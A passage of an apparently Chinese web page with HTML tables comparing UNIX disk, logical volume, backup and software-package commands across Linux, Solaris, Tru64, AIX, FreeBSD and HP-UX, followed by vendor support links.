<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Restore</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">restvg </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">frecover</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统磁盘与逻辑卷命令</span></strong><strong><span> </span></strong><strong><span>续</span></strong></p>
<table class="MsoNormalTable" style="height: 687px;" border="1" cellspacing="0" cellpadding="0" width="695">
<tbody>
<tr>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">DISK/LVM Commands</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux (RedHat)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris (SPARC)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Filesystem table</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">/etc/fstab</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">/etc/vfstab</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">/etc/fstab</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Free disk blocks</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">df -k</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">df –k</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">df -k</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Device listing</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">cat /proc/devices</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">Sysdef</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Disk information</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">cat /proc/scsi/scsi0/sda/model</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">format -d c#t#d#<br />
format&gt;current<br />
format&gt;inquiry</span></td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">file /dev/rrz0c</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Disk Label</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">fdisk -l</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">Prtvtoc</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">disklabel -p rz0</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">LVM Concepts</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">logical extents</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">sub disk</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">sub disk</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">logical volume</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">Volume</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">Volume</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">Plex</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">Plex</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">volume group</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">disk group</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">disk group</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Journal Filesystem type</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">ext2</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">Vxfs</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">advfs</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Default volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">/dev/vx/dsk/rootdg</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">/dev/vol/rootdg</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Display volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgdisplay -v</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxprint -l -g rootdg</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volprint -l -g rootdg</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Modify physical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">pvchange</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Prepare physical disk</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">pvcreate</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxdiskadd</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voldiskadd</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">List physical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">pvdisplay</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxprint -dl</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volprint -dl</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove disk from volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgreduce</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxdg rmdisk</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voldg rmdisk</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Move logical volumes to another physical volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">pvmove</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist move</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist move</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgcreate</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxdg init</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voldg init</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgremove</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Volume group availability</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgchange</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Restore volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgcfgrestore</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Exports volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgexport</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxdg deport</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voldg deport</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Imports volume group</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgimport</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxdg import</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voldg import</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Volume group listing</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">vgscan</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Change logical volume characteristics </span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvchange </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxedit set</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voledit set</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">List logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvdisplay</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxprint -vl</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volprint -vl</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Make logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvcreate</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist make</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist make</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Extend logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvextend</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist growto</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist growto</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Reduce logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvreduce</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist shrinkto</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist shrinkto</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove logical volume</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvremove</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxedit rm</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">voledit -g rootdg -rf rm vol1</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Prepare boot volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lilo</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxbootsetup</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Remove boot volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Extend File system</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">resize2fs</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxva<br />
mkfs -M</span></td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Reduce/Split mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvsplit</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Merge mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvmerge</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist mirror</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist make vol 100mb mirror=true</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Add mirrors</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Create striped volumes</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">lvcreate -i 3 -I 64</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">vxassist make vol 100mb layout=raid5</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">volassist make vol 100mb layout=stripe</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">System recovery tape</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">/usr/sys/bin/btcreate</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Backup</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">tar cvf /dev/rst0 /</span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">ufsdump</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">vdump</span></p>
</td>
</tr>
<tr>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Restore</span></p>
</td>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">tar xvf /dev/rst0 </span></p>
</td>
<td width="187">
<p class="MsoNormal"><span lang="EN-US">ufsrestore</span></p>
</td>
<td width="209">
<p class="MsoNormal"><span lang="EN-US">vrestore</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统安装与卸载</span></strong></p>
<table class="MsoNormalTable" style="height: 166px;" border="1" cellspacing="0" cellpadding="0" width="683">
<tbody>
<tr>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Software</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<h1><span lang="EN-US">FreeBSD</span></h1>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Install Software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">installp -a</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkg_add</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swinstall</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Uninstall software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">installp -u</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkg_delete</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swremove</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List installed software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">lslpp -L all</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkg_info -a</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swlist</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Verify installed software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">lppchk -v</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swlist -l fileset -a state</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List all files</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">lslpp -f fileset</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkg_info -L package</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swlist -l file fileset</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List installed patches</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">instfix -i</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swlist -l patch<br />
what /stand/vmunix</span></td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Package owner</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">lslpp -w path</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">swlist -l file | grep path</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">SW Directory</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lpp</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/db/pkg</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/adm/sw/</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<table class="MsoNormalTable" style="height: 140px;" border="1" cellspacing="0" cellpadding="0" width="696">
<tbody>
<tr>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Software</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux (RedHat)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris (SPARC)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Install Software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -i package</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkgadd</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">setld -l</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Uninstall software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -e package</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkgrm</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">setld -d</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List installed software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -qa</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkginfo</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">setld -i</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Verify installed software</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -V package</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkginfo -i<br />
pkginfo -p</span></td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">setld -v</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List all files</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -ql package</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkgchk -l package</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">setld -i package</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">List installed patches</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">patchadd -p</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">dupatch -track -type patch</span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Package owner</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">rpm -qf file</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">pkgchk -l -p path</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">SW Directory</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/lib/rpm</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/sadm</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/adm/smlogs</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统技术支持信息</span></strong></p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<table class="MsoNormalTable" style="height: 101px;" border="1" cellspacing="0" cellpadding="0" width="699">
<tbody>
<tr>
<td width="132">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Links</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">AIX</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">HP-UX</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Linux (RedHat)</span></strong></tt><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">FAQ</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.emerson.emory.edu/services/aix-faq/" target="_blank"><span>AIX-FAQ</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://hpux.cae.wisc.edu/hppd/FAQ/" target="_blank"><span>HP-UX FAQ</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.linuxdoc.org/FAQ/Linux-FAQ/index.html" target="_blank"><span>LINUX FAQ</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Online   Manual</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.rs6000.ibm.com/cgi-bin/ds_form?lang=en_US&amp;viewset=AIX&amp;config=/usr/share/man/info/en_US/a_doc_lib/data/base.cfg" target="_blank"><span>AIX   4.3 Books</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://docs.hp.com/dynaweb/hpux11/@Generic__CollectionView" target="_blank"><span>HP-UX   11.00 Collection</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.linuxdoc.org/" target="_blank"><span>Linux Documentation Project</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Technical   Support</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://techsupport.services.ibm.com/support/rs6000/" target="_blank"><span>RS/6000 TechSupport</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://us-support.external.hp.com/" target="_blank"><span>IT Resource Center</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.redhat.com/apps/support/" target="_blank"><span>Red Hat support</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Phone   Number</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">1-800-CALL-AIX</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">1-800-633-3600</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">1-888-REDHAT1</span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Free   Software</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.rge.com/pub/systems/aix/bull/" target="_blank"><span>Bull</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://eigen.ee.ualberta.ca/" target="_blank"><span>HP-UX Ports</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.boutell.com/lsm/" target="_blank"><span>Linux Software Map</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Certification</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.ibm.com/education/certify/certs/axcsasa.phtml" target="_blank"><span>www.ibm.com</span></a></span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://education.hp.com/hpcert-track1.htm" target="_blank"><span>education.hp.com</span></a></span></tt></p>
</td>
